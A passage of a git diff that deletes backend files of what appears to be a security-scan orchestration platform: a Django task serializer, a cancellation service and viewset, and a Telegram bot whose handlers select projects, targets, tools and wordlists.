required=True, - source='target', - queryset=Target.objects.all() - ) - process = SimplyProcessSerializer(many=False, read_only=True) # Process details for read operations - process_id = serializers.PrimaryKeyRelatedField( # Process Id for Task creation - write_only=True, - required=False, - source='process', - queryset=Process.objects.all() - ) - tool = SimplyToolSerializer(many=False, read_only=True) # Tool details for read operations - tool_id = serializers.PrimaryKeyRelatedField( # Tool Id for Task creation - write_only=True, - required=False, - source='tool', - queryset=Tool.objects.all() - ) - # Configuration details for read operations - configuration = ConfigurationSerializer(many=False, read_only=True) - configuration_id = serializers.PrimaryKeyRelatedField( # Configuration Id for Task creation - write_only=True, - required=False, - source='configuration', - queryset=Configuration.objects.all() - ) - # Intensity value to apply in task execution. By default, Normal - intensity_rank = IntensityField(source='intensity', required=False) - executor = SimplyUserSerializer(many=False, read_only=True) # Executor details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Task - fields = ( # Task fields exposed via API - 'id', 'target', 'target_id', 'process', 'process_id', 'tool', 'tool_id', - 'configuration', 'configuration_id', 'intensity_rank', 'executor', 'status', - 'scheduled_at', 'scheduled_in', 'scheduled_time_unit', 'repeat_in', 'repeat_time_unit', - 'start', 'end', 'wordlists', 'executions' - ) - read_only_fields = ('executor', 'status', 'start', 'end', 'executions') # Read only fields - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - if not attrs.get('intensity'): # Intensity doesn't exist - attrs['intensity'] = IntensityRank.NORMAL # Normal intensity by default - if attrs.get('tool'): # Tool task - attrs['process'] = None - if not attrs.get('configuration'): # Configuration doesn't exist - # Get default configuration for this tool - attrs['configuration'] = Configuration.objects.filter(tool=attrs.get('tool'), default=True).first() - # Get intensity for this tool - intensity = Intensity.objects.filter(tool=attrs.get('tool'), value=attrs.get('intensity')) - if not intensity: # Intensity not found for this tool - raise serializers.ValidationError( - {'intensity': f'Invalid intensity {attrs["intensity"]} for tool {attrs["tool"].name}'} - ) - elif attrs.get('process'): # Process task - attrs['tool'] = None - attrs['configuration'] = None - else: # Tool or Process are required - raise serializers.ValidationError({ - 'tool': 'Invalid task. Process or tool is required', - 'process': 'Invalid task. Process or tool is required' - }) - # Scheduled tasks only can be at future dates - if attrs.get('scheduled_at') and attrs.get('scheduled_at') <= timezone.now(): - raise serializers.ValidationError({'scheduled_at': 'Scheduled datetime must be future'}) - for field, unit in [('scheduled_in', 'scheduled_time_unit'), ('repeat_in', 'repeat_time_unit')]: - # Time and unit fields sanitization - if not attrs.get(field): # Time field doesn't exist - attrs[unit] = None - elif attrs.get(field) and not attrs.get(unit): # Unit field doesn't exist - attrs[field] = None - return super().validate(attrs) - - def create(self, validated_data: Dict[str, Any]) -> Task: - '''Create instance from validated data. - - Args: - validated_data (Dict[str, Any]): Validated data - - Returns: - Task: Created instance - ''' - task = super().create(validated_data) # Create task entity - producer(task) # Enqueue task in tasks queue - return task diff --git a/src/backend/tasks/services.py b/src/backend/tasks/services.py deleted file mode 100644 index 873708bc6..000000000 --- a/src/backend/tasks/services.py +++ /dev/null @@ -1,52 +0,0 @@ -import logging - -import django_rq -from django.core.exceptions import ValidationError -from django.utils import timezone -from executions.models import Execution -from queues.utils import cancel_and_delete_job, cancel_job -from rq.command import send_stop_job_command - -from tasks.enums import Status -from tasks.models import Task - -logger = logging.getLogger() # Rekono logger - - -def cancel_task(task: Task) -> None: - '''Cancel task and all his related executions. - - Args: - task (Task): Task to cancel - - Raises: - ValidationError: Raised if task can't be cancelled due to his situation - ''' - if ( - task.status != Status.CANCELLED and # Task status can't be already cancelled - # Task status can be requested or running or it can be a periodic task - (task.status in [Status.REQUESTED, Status.RUNNING] or (task.repeat_in and task.repeat_time_unit)) - ): - if task.rq_job_id: - # Job Id exists, so it has been enqueued at least one time - cancel_and_delete_job('tasks-queue', task.rq_job_id) # Cancel and delete the task job - logger.info(f'[Task] Task {task.id} has been cancelled') - # Get all pending executions for this task - executions = Execution.objects.filter(task=task, status__in=[Status.REQUESTED, Status.RUNNING]).all() - connection = django_rq.get_connection('executions-queue') # Get Redis connection - for execution in executions: # For each execution - if execution.rq_job_id: # Job Id exists, so it has been enqueued - if execution.status == Status.RUNNING: # Execution is running right now - send_stop_job_command(connection, execution.rq_job_id) # Cancel running job - else: - cancel_job('executions-queue', execution.rq_job_id) # Cancel pending job - logger.info(f'[Execution] Execution {execution.id} has been cancelled') - execution.status = Status.CANCELLED # Set execution status to Cancelled - execution.end = timezone.now() # Update execution end date - execution.save(update_fields=['status', 'end']) - task.status = Status.CANCELLED # Set task status to Cancelled - task.end = timezone.now() # Update task end date - task.save(update_fields=['status', 'end']) - else: - logger.warning(f'[Task] Task {task.id} can\'t be cancelled') - raise ValidationError({'id': f'Task {task.id} can\'t be cancelled'}) # Task is not eligible for cancellation diff --git a/src/backend/tasks/urls.py b/src/backend/tasks/urls.py deleted file mode 100644 index 8083d48c0..000000000 --- a/src/backend/tasks/urls.py +++ /dev/null @@ -1,9 +0,0 @@ -from rest_framework.routers import SimpleRouter -from tasks.views import TaskViewSet - -# Register your views here. - -router = SimpleRouter() -router.register('tasks', TaskViewSet) - -urlpatterns = router.urls diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py deleted file mode 100644 index 4e520de60..000000000 --- a/src/backend/tasks/views.py +++ /dev/null @@ -1,86 +0,0 @@ -from typing import Any - -from api.views import CreateViewSet, CreateWithUserViewSet, GetViewSet -from django.core.exceptions import ValidationError -from drf_spectacular.utils import extend_schema -from rest_framework import status -from rest_framework.decorators import action -from rest_framework.mixins import (CreateModelMixin, DestroyModelMixin, - ListModelMixin, RetrieveModelMixin) -from rest_framework.request import Request -from rest_framework.response import Response - -from tasks import services -from tasks.enums import Status -from tasks.filters import TaskFilter -from tasks.models import Task -from tasks.queue import producer -from tasks.serializers import TaskSerializer - -# Create your views here. - - -class TaskViewSet( - GetViewSet, - CreateViewSet, - CreateWithUserViewSet, - CreateModelMixin, - ListModelMixin, - RetrieveModelMixin, - DestroyModelMixin -): - '''Task ViewSet that includes: get, retrieve, create amd cancel features.''' - - queryset = Task.objects.all().order_by('-id') - serializer_class = TaskSerializer - filterset_class = TaskFilter - # Fields used to search tasks - search_fields = ['target__target', 'process__name', 'process__steps__tool__name', 'tool__name'] - members_field = 'target__project__members' - user_field = 'executor' - - def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: - '''Cancel task. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - instance = self.get_object() - try: - services.cancel_task(instance) - return Response(status=status.HTTP_204_NO_CONTENT) - except ValidationError: - return Response(status=status.HTTP_400_BAD_REQUEST) - - @extend_schema(request=None, responses={200: TaskSerializer}) - @action(detail=True, methods=['POST'], url_path='repeat', url_name='repeat') - def repeat_task(self, request: Request, pk: str) -> Response: - '''Repeat task execution. - - Args: - request (Request): Received HTTP request - pk (str): Id of the task to repeat - - Returns: - Response: HTTP response - ''' - task = self.get_object() - if task.status in [Status.REQUESTED, Status.RUNNING]: - # If task status is requested or running, it can't be repeated - return Response('Execution is still running', status=status.HTTP_400_BAD_REQUEST) - # Create a new task from the original one - new_task = Task.objects.create( - target=task.target, - process=task.process, - tool=task.tool, - configuration=task.configuration, - intensity=task.intensity, - executor=request.user - ) - new_task.wordlists.set(task.wordlists.all()) # Add wordlists from original task - producer(new_task) # Enqueue new task - serializer = TaskSerializer(instance=new_task) # Return new task data - return Response(serializer.data, status=status.HTTP_201_CREATED) diff --git a/src/backend/telegram_bot/__init__.py b/src/backend/telegram_bot/__init__.py deleted file mode 100644 index 5103be820..000000000 --- a/src/backend/telegram_bot/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Telegram Bot.''' diff --git a/src/backend/telegram_bot/admin.py b/src/backend/telegram_bot/admin.py deleted file mode 100644 index 7f8f1451a..000000000 --- a/src/backend/telegram_bot/admin.py +++ /dev/null @@ -1,6 +0,0 @@ -from django.contrib import admin -from telegram_bot.models import TelegramChat - -# Register your models here. - -admin.site.register(TelegramChat) diff --git a/src/backend/telegram_bot/apps.py b/src/backend/telegram_bot/apps.py deleted file mode 100644 index cf7a06bc4..000000000 --- a/src/backend/telegram_bot/apps.py +++ /dev/null @@ -1,7 +0,0 @@ -from django.apps import AppConfig - - -class TelegramBotConfig(AppConfig): - '''Telegram Bot Django application.''' - - name = 'telegram_bot' diff --git a/src/backend/telegram_bot/bot.py b/src/backend/telegram_bot/bot.py deleted file mode 100644 index 4c4e2cfd9..000000000 --- a/src/backend/telegram_bot/bot.py +++ /dev/null @@ -1,174 +0,0 @@ -import logging -from typing import Optional - -from system.models import System -from telegram.error import InvalidToken, Unauthorized -from telegram.ext import (CallbackQueryHandler, CommandHandler, - ConversationHandler, Filters, MessageHandler, - Updater) - -from telegram_bot.commands.basic import logout, start -from telegram_bot.commands.help import help -from telegram_bot.commands.selection import clear, show -from telegram_bot.conversations.cancel import cancel -from telegram_bot.conversations.execute import (execute, execute_process, - execute_tool) -from telegram_bot.conversations.new_authentication import ( - create_authentication, new_authentication) -from telegram_bot.conversations.new_input_technology import ( - create_input_technology, new_input_technology) -from telegram_bot.conversations.new_input_vulnerability import ( - create_input_vulnerability, new_input_vulnerability) -from telegram_bot.conversations.new_target import create_target, new_target -from telegram_bot.conversations.new_target_port import (create_target_port, - new_target_port) -from telegram_bot.conversations.select_project import project -from telegram_bot.conversations.selection import (select_authentication_type, - select_configuration, - select_intensity, - select_process, - select_project, - select_target, - select_target_port, - select_tool, select_wordlist) -from telegram_bot.conversations.states import (CREATE, CREATE_RELATED, EXECUTE, - SELECT_AUTHENTICATION_TYPE, - SELECT_CONFIGURATION, - SELECT_INTENSITY, - SELECT_PROCESS, SELECT_PROJECT, - SELECT_TARGET, - SELECT_TARGET_PORT, SELECT_TOOL, - SELECT_WORDLIST) -from telegram_bot.messages.help import get_my_commands -from telegram_bot.token import handle_invalid_telegram_token - -logger = logging.getLogger() # Rekono logger - - -def get_telegram_bot_name() -> Optional[str]: - '''Get Telegram bot name using the Telegram token. - - Returns: - Optional[str]: Telegram bot name - ''' - try: - updater = Updater(token=System.objects.first().telegram_bot_token) # Telegram client - return updater.bot.username - except Exception: - logger.error('[Telegram Bot] Error during Telegram bot name request') - return None - - -def initialize() -> None: - '''Initialize Telegram Bot.''' - try: - updater = Updater(token=System.objects.first().telegram_bot_token) # Telegram client - updater.bot.set_my_commands(get_my_commands()) # Configure bot commands - except (InvalidToken, Unauthorized): - handle_invalid_telegram_token(initialize) - except Exception: - logger.error('[Telegram Bot] Error during Telegram bot initialization') - - -def deploy() -> None: - '''Start listenning for commands.''' - try: - updater = Updater(token=System.objects.first().telegram_bot_token) # Telegram client - updater.dispatcher.add_handler(CommandHandler('start', start)) # Start command - updater.dispatcher.add_handler(CommandHandler('logout', logout)) # Logout command - updater.dispatcher.add_handler(CommandHandler('help', help)) # Help command - updater.dispatcher.add_handler(CommandHandler('showproject', show)) # Show selected project - updater.dispatcher.add_handler(CommandHandler('clearproject', clear)) # Clear selected project - updater.dispatcher.add_handler(ConversationHandler( # Select project - entry_points=[CommandHandler('selectproject', project)], - states={ - SELECT_PROJECT: [CallbackQueryHandler(select_project)] - }, - fallbacks=[CommandHandler('cancel', cancel)], - per_chat=True - )) - updater.dispatcher.add_handler(ConversationHandler( # Create new target - entry_points=[CommandHandler('newtarget', new_target)], - states={ - SELECT_PROJECT: [CallbackQueryHandler(select_project)], - CREATE: [MessageHandler(Filters.text, create_target)] - }, - fallbacks=[CommandHandler('cancel', cancel)], - per_chat=True - )) - updater.dispatcher.add_handler(ConversationHandler( # Create new target port - entry_points=[CommandHandler('newport', new_target_port)], - states={ - SELECT_PROJECT: [CallbackQueryHandler(select_project)], - SELECT_TARGET: [CallbackQueryHandler(select_target)], - CREATE: [MessageHandler(Filters.text, create_target_port)], - SELECT_AUTHENTICATION_TYPE: [CallbackQueryHandler(select_authentication_type)], - CREATE_RELATED: [MessageHandler(Filters.text, create_authentication)] - }, - fallbacks=[CommandHandler('cancel', cancel)], - per_chat=True - )) - updater.dispatcher.add_handler(ConversationHandler( # Create new authentication - entry_points=[CommandHandler('newauth', new_authentication)], - states={ - SELECT_PROJECT: [CallbackQueryHandler(select_project)], - SELECT_TARGET: [CallbackQueryHandler(select_target)], - SELECT_TARGET_PORT: [CallbackQueryHandler(select_target_port)], - SELECT_AUTHENTICATION_TYPE: [CallbackQueryHandler(select_authentication_type)], - CREATE_RELATED: [MessageHandler(Filters.text, create_authentication)] - }, - fallbacks=[CommandHandler('cancel', cancel)], - per_chat=True - )) - updater.dispatcher.add_handler(ConversationHandler( # Create new input technology - entry_points=[CommandHandler('newtechnology', new_input_technology)], - states={ - SELECT_PROJECT: [CallbackQueryHandler(select_project)], - SELECT_TARGET: [CallbackQueryHandler(select_target)], - CREATE: [MessageHandler(Filters.text, create_input_technology)] - }, - fallbacks=[CommandHandler('cancel', cancel)], - per_chat=True - )) - updater.dispatcher.add_handler(ConversationHandler( # Create new input vulnerability - entry_points=[CommandHandler('newvulnerability', new_input_vulnerability)], - states={ - SELECT_PROJECT: [CallbackQueryHandler(select_project)], - SELECT_TARGET: [CallbackQueryHandler(select_target)], - CREATE: [MessageHandler(Filters.text, create_input_vulnerability)] - }, - fallbacks=[CommandHandler('cancel', cancel)], - per_chat=True - )) - updater.dispatcher.add_handler(ConversationHandler( # Execute tool - entry_points=[CommandHandler('tool', execute_tool)], - states={ - SELECT_PROJECT: [CallbackQueryHandler(select_project)], - SELECT_TARGET: [CallbackQueryHandler(select_target)], - SELECT_TOOL: [CallbackQueryHandler(select_tool)], - SELECT_CONFIGURATION: [CallbackQueryHandler(select_configuration)], - SELECT_INTENSITY: [CallbackQueryHandler(select_intensity)], - SELECT_WORDLIST: [CallbackQueryHandler(select_wordlist)], - EXECUTE: [CallbackQueryHandler(execute)] - }, - fallbacks=[CommandHandler('cancel', cancel)], - per_chat=True - )) - updater.dispatcher.add_handler(ConversationHandler( # Execute process - entry_points=[CommandHandler('process', execute_process)], - states={ - SELECT_PROJECT: [CallbackQueryHandler(select_project)], - SELECT_TARGET: [CallbackQueryHandler(select_target)], - SELECT_PROCESS: [CallbackQueryHandler(select_process)], - SELECT_INTENSITY: [CallbackQueryHandler(select_intensity)], - SELECT_WORDLIST: [CallbackQueryHandler(select_wordlist)], - EXECUTE: [CallbackQueryHandler(execute)] - }, - fallbacks=[CommandHandler('cancel', cancel)], - per_chat=True - )) - updater.start_polling() # Start Telegram Bot - except (InvalidToken, Unauthorized): - handle_invalid_telegram_token(deploy) - except Exception: - logger.error('[Telegram Bot] Error during Telegram bot deployment') diff --git a/src/backend/telegram_bot/commands/__init__.py b/src/backend/telegram_bot/commands/__init__.py deleted file mode 100644 index 2fa0f08fb..000000000 --- a/src/backend/telegram_bot/commands/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Rekono Bot commands.''' diff --git a/src/backend/telegram_bot/commands/basic.py b/src/backend/telegram_bot/commands/basic.py deleted file mode 100644 index 5ceacae72..000000000 --- a/src/backend/telegram_bot/commands/basic.py +++ /dev/null @@ -1,47 +0,0 @@ -import logging - -from security.otp import generate, get_expiration -from telegram import ParseMode -from telegram.ext import CallbackContext -from telegram.update import Update -from telegram_bot.messages.basic import LOGOUT, OTP, WELCOME -from telegram_bot.models import TelegramChat - -logger = logging.getLogger() # Rekono logger - - -def start(update: Update, context: CallbackContext) -> None: - '''Initialize Telegram Bot chat. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - ''' - if update.effective_chat and update.effective_message: - chat, _ = TelegramChat.objects.update_or_create( # Create or update the Telegram chat - defaults={'user': None, 'otp': generate(), 'otp_expiration': get_expiration()}, - chat_id=update.effective_chat.id - ) - logger.info(f'[Security] New login request using the Telegram bot from the chat {chat.chat_id}') - # Send welcome message including OTP to link Telegram Chat with an user account - update.effective_message.reply_text(WELCOME, parse_mode=ParseMode.MARKDOWN_V2) - update.effective_message.reply_text(OTP.format(otp=chat.otp), parse_mode=ParseMode.MARKDOWN_V2) - - -def logout(update: Update, context: CallbackContext) -> None: - '''Unlink Telegram Bot chat for an user account. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - ''' - if update.effective_chat and update.effective_message: - chat = TelegramChat.objects.filter(chat_id=update.effective_chat.id).first() # Get Telegram chat by Id - if chat: - chat.delete() # Remove Telegram chat update - if chat.user: - logger.info( - f'[Security] User {chat.user.id} has logged out from the Telegram bot', - extra={'user': chat.user.id} - ) - update.effective_message.reply_text(LOGOUT, parse_mode=ParseMode.MARKDOWN_V2) # Send goodbye message diff --git a/src/backend/telegram_bot/commands/help.py b/src/backend/telegram_bot/commands/help.py deleted file mode 100644 index 9358469a4..000000000 --- a/src/backend/telegram_bot/commands/help.py +++ /dev/null @@ -1,24 +0,0 @@ -from telegram import ParseMode -from telegram.ext import CallbackContext -from telegram.update import Update -from telegram_bot.messages.help import (UNAUTH_HELP, get_help_message, - get_reader_help_message) -from telegram_bot.models import TelegramChat -from telegram_bot.security import check_auditor - - -def help(update: Update, context: CallbackContext) -> None: - '''Get Telegram Bot help message. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - ''' - if update.effective_chat and update.effective_message: - chat = TelegramChat.objects.filter(chat_id=update.effective_chat.id, user__is_active=True).first() - if not chat or not chat.user: # Unlinked Telegram chat - update.effective_message.reply_text(UNAUTH_HELP, parse_mode=ParseMode.MARKDOWN_V2) - elif check_auditor(chat): # Chat linked to auditor account - update.effective_message.reply_text(get_help_message(), parse_mode=ParseMode.MARKDOWN_V2) - else: # Chat linked to reader account - update.effective_message.reply_text(get_reader_help_message(), parse_mode=ParseMode.MARKDOWN_V2) diff --git a/src/backend/telegram_bot/commands/selection.py b/src/backend/telegram_bot/commands/selection.py deleted file mode 100644 index d444c69d7..000000000 --- a/src/backend/telegram_bot/commands/selection.py +++ /dev/null @@ -1,40 +0,0 @@ -from telegram import ParseMode -from telegram.ext import CallbackContext -from telegram.update import Update -from telegram.utils.helpers import escape_markdown -from telegram_bot.context import PROJECT -from telegram_bot.messages.selection import (CLEAR_SELECTION, NO_SELECTION, - SELECTION) -from telegram_bot.security import get_chat - - -def show(update: Update, context: CallbackContext) -> None: - '''Show selected project. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - ''' - chat = get_chat(update) # Get Telegram chat - if chat and update.effective_message: - if context.chat_data and PROJECT in context.chat_data: # Selected project - update.effective_message.reply_text( - SELECTION.format(project=escape_markdown(context.chat_data[PROJECT].name, version=2)), - parse_mode=ParseMode.MARKDOWN_V2 - ) - else: # No selected project - update.effective_message.reply_text(NO_SELECTION) - - -def clear(update: Update, context: CallbackContext) -> None: - '''Unselect selected project. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - ''' - chat = get_chat(update) # Get Telegram chat - if chat and update.effective_message: - if context.chat_data and PROJECT in context.chat_data: # Selected project - context.chat_data.pop(PROJECT) # Unselect project - update.effective_message.reply_text(CLEAR_SELECTION) diff --git a/src/backend/telegram_bot/context.py b/src/backend/telegram_bot/context.py deleted file mode 100644 index b89ac7cbd..000000000 --- a/src/backend/telegram_bot/context.py +++ /dev/null @@ -1,13 +0,0 @@ -'''Keywords used to save data in Telegram chat context.''' - -STATES = 'states' -COMMAND = 'command' -PROJECT = 'project' -TARGET = 'target' -TARGET_PORT = 'target_port' -AUTH_TYPE = 'authentication_type' -PROCESS = 'process' -TOOL = 'tool' -CONFIGURATION = 'configuration' -WORDLIST = 'wordlist' -INTENSITY = 'intensity' diff --git a/src/backend/telegram_bot/conversations/__init__.py b/src/backend/telegram_bot/conversations/__init__.py deleted file mode 100644 index f1d11aeef..000000000 --- a/src/backend/telegram_bot/conversations/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Rekono Bot conversations.''' diff --git a/src/backend/telegram_bot/conversations/ask.py b/src/backend/telegram_bot/conversations/ask.py deleted file mode 100644 index e12b5743f..000000000 --- a/src/backend/telegram_bot/conversations/ask.py +++ /dev/null @@ -1,322 +0,0 @@ -from typing import List - -from authentications.enums import AuthenticationType -from input_types.enums import InputTypeNames -from processes.models import Process -from projects.models import Project -from resources.models import Wordlist -from targets.models import Target, TargetPort -from telegram import InlineKeyboardButton, InlineKeyboardMarkup, ParseMode -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram_bot.context import COMMAND, PROCESS, PROJECT, TARGET, TOOL -from telegram_bot.conversations.states import (EXECUTE, - SELECT_AUTHENTICATION_TYPE, - SELECT_CONFIGURATION, - SELECT_INTENSITY, - SELECT_PROCESS, SELECT_PROJECT, - SELECT_TARGET, - SELECT_TARGET_PORT, SELECT_TOOL, - SELECT_WORDLIST) -from telegram_bot.messages.ask import (ASK_FOR_AUTHENTICATION_TYPE, - ASK_FOR_CONFIGURATION, - ASK_FOR_INTENSITY, ASK_FOR_PROCESS, - ASK_FOR_PROJECT, ASK_FOR_TARGET, - ASK_FOR_TARGET_PORT, ASK_FOR_TOOL, - ASK_FOR_WORDLIST, NO_PROCESSES, - NO_PROJECTS, NO_TARGET_PORTS, - NO_TARGETS) -from telegram_bot.messages.execution import confirmation_message -from telegram_bot.models import TelegramChat -from tools.enums import IntensityRank -from tools.models import Configuration, Input, Tool - - -def send_message(update: Update, chat: TelegramChat, text: str) -> None: - '''Send Telegram text message. - - Args: - update (Update): Telegram Bot update - chat (TelegramChat): Telegram chat entity - text (str): Text message to send - ''' - if update.effective_message: # Standard update - update.effective_message.reply_text(text, parse_mode=ParseMode.MARKDOWN_V2) - elif update.callback_query and update.callback_query.bot: - # Update from keyboard selection - update.callback_query.bot.send_message(chat.chat_id, text=text, parse_mode=ParseMode.MARKDOWN_V2) - - -def send_options( - update: Update, - chat: TelegramChat, - text: str, - keyboard: List[InlineKeyboardButton], - per_row: int -) -> None: - '''Send Telegram options message. - - Args: - update (Update): Telegram Bot update - chat (TelegramChat): Telegram chat entity - text (str): Text message to send - keyboard (List[InlineKeyboardButton]): Keyboard buttons for each available option - per_row (int): Number of keyboard buttons to include by row - ''' - keyboard_by_row = [] - for i in range(0, len(keyboard), per_row): # For each row - keyboard_by_row.append(keyboard[i:i + per_row]) # Get keyboard buttons for this row - if update.effective_message: # Standard update - update.effective_message.reply_text( - text, - reply_markup=InlineKeyboardMarkup(keyboard_by_row), - parse_mode=ParseMode.MARKDOWN_V2 - ) - elif update.callback_query and update.callback_query.bot: - # Update from keyboard selection - update.callback_query.bot.send_message( - chat.chat_id, - text=text, - reply_markup=InlineKeyboardMarkup(keyboard_by_row), - parse_mode=ParseMode.MARKDOWN_V2 - ) - - -def ask_for_project(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Ask the user to choose one project. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - projects = Project.objects.filter(members=chat.user).order_by('name').all() # Get all user projects - if not projects: # No projects found - send_message(update, chat, NO_PROJECTS) - return ConversationHandler.END # End conversation - else: - # Create keyboard buttons with the projects data - keyboard = [InlineKeyboardButton(p.name, callback_data=p.id) for p in projects] - send_options(update, chat, ASK_FOR_PROJECT, keyboard, 3) - return SELECT_PROJECT # Go to selected project management - - -def ask_for_target(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Ask the user to choose one target. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - targets = [] - if context.chat_data: - # Get all user targets - targets = Target.objects.filter(project=context.chat_data[PROJECT]).order_by('target').all() - if not targets: # No targets found - send_message(update, chat, NO_TARGETS) - return ConversationHandler.END # End conversation - else: - # Create keyboard buttons with the targets data - keyboard = [InlineKeyboardButton(t.target, callback_data=t.id) for t in targets] - send_options(update, chat, ASK_FOR_TARGET, keyboard, 3) - return SELECT_TARGET # Go to selected target management - - -def ask_for_target_port(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Ask the user to choose one target port. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - target_ports = [] - if context.chat_data: - if context.chat_data[COMMAND] == 'newauth': - # Get target ports without authentication by selected target - target_ports = TargetPort.objects.filter( - target=context.chat_data[TARGET], - authentication=None - ).order_by('port').all() - else: - # Get target ports by selected target - target_ports = TargetPort.objects.filter(target=context.chat_data[TARGET]).order_by('port').all() - if not target_ports: # No target ports found - send_message(update, chat, NO_TARGET_PORTS) - return ConversationHandler.END # End conversation - else: - # Create keyboard buttons with the target ports data - keyboard = [InlineKeyboardButton(tp.port, callback_data=tp.id) for tp in target_ports] - send_options(update, chat, ASK_FOR_TARGET_PORT, keyboard, 5) - return SELECT_TARGET_PORT # Go to selected target port management - - -def ask_for_authentication_type(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Ask the user to choose one authentication type. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - authentication_types = AuthenticationType.values # Get authentication types - if context.chat_data and context.chat_data[COMMAND] == 'newport': - authentication_types.append('None') # New ports could haven't authentication - # Create keyboard buttons with the authentication types - keyboard = [InlineKeyboardButton(t, callback_data=t) for t in authentication_types] - send_options(update, chat, ASK_FOR_AUTHENTICATION_TYPE, keyboard, 3) - return SELECT_AUTHENTICATION_TYPE # Go to selected auth type management - - -def ask_for_process(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Ask the user to choose one process. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - processes = Process.objects.order_by('name').all() # Get all processes - if not processes: - send_message(update, chat, NO_PROCESSES) - return ConversationHandler.END # End conversation - else: - # Create keyboard buttons with the processes data - keyboard = [InlineKeyboardButton(p.name, callback_data=p.id) for p in processes] - send_options(update, chat, ASK_FOR_PROCESS, keyboard, 3) - return SELECT_PROCESS # Go to selected process management - - -def ask_for_tool(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Ask the user to choose one tool. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - tools = Tool.objects.order_by('name').all() # Get all tools - # Create keyboard buttons with the tools data - keyboard = [InlineKeyboardButton(t.name, callback_data=t.id) for t in tools] - send_options(update, chat, ASK_FOR_TOOL, keyboard, 2) - return SELECT_TOOL # Go to selected tool management - - -def ask_for_configuration(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Ask the user to choose one configuration. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - configurations = [] - if context.chat_data: - # Get configurations by selected tool - configurations = Configuration.objects.filter(tool=context.chat_data[TOOL]).order_by('name').all() - # Create keyboard buttons with the configurations data - keyboard = [InlineKeyboardButton(c.name, callback_data=c.id) for c in configurations] - send_options(update, chat, ASK_FOR_CONFIGURATION, keyboard, 2) - return SELECT_CONFIGURATION # Go to selected config management - - -def ask_for_wordlist(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Ask the user to choose one wordlist. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - wordlists = Wordlist.objects.all() # Get all wordlists - # Create keyboard buttons with the wordlists data - keyboard = [InlineKeyboardButton(f'{w.name} - {w.type}', callback_data=w.id) for w in wordlists] - tools_with_required_wordlists = ['Gobuster'] # Tools with required wordlists - check_if_wordlist_is_required = None - if ( # Filter inputs by tool - context.chat_data is not None and - context.chat_data.get(TOOL) and - context.chat_data.get(TOOL).name not in tools_with_required_wordlists - ): - check_if_wordlist_is_required = {'argument__tool': context.chat_data[TOOL]} - elif ( # Filter inputs by process - context.chat_data is not None and - context.chat_data.get(PROCESS) and - not context.chat_data[PROCESS].steps.filter(tool__name__in=tools_with_required_wordlists).exists() - ): - check_if_wordlist_is_required = {'argument__tool__in': context.chat_data[PROCESS].steps.all().values('tool')} - if check_if_wordlist_is_required: - check_if_wordlist_is_required.update({ # Base arguments to check if required - 'argument__required': True, - 'type__name': InputTypeNames.WORDLIST - }) - if not Input.objects.filter(**check_if_wordlist_is_required).exists(): # Check if wordlist is required - keyboard.append(InlineKeyboardButton('Default tools wordlists', callback_data='Default tools wordlists')) - send_options(update, chat, ASK_FOR_WORDLIST, keyboard, 1) - return SELECT_WORDLIST # Go to selected wordlist management - - -def ask_for_intensity(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Ask the user to choose one intensity rank. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - intensities = IntensityRank.names # Get all intensities - if context.chat_data and TOOL in context.chat_data: # Tool is selected - # Get available intensities for selected tool - intensities = [IntensityRank(i.value).name for i in context.chat_data[TOOL].intensities.order_by('value').all()] - intensities.reverse() # Show harder intensities first - # Create keyboard buttons with the intensities data - keyboard = [InlineKeyboardButton(i.capitalize(), callback_data=i) for i in intensities] - send_options(update, chat, ASK_FOR_INTENSITY, keyboard, 5) - return SELECT_INTENSITY # Go to selected intensity management - - -def ask_for_execution_confirmation(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - 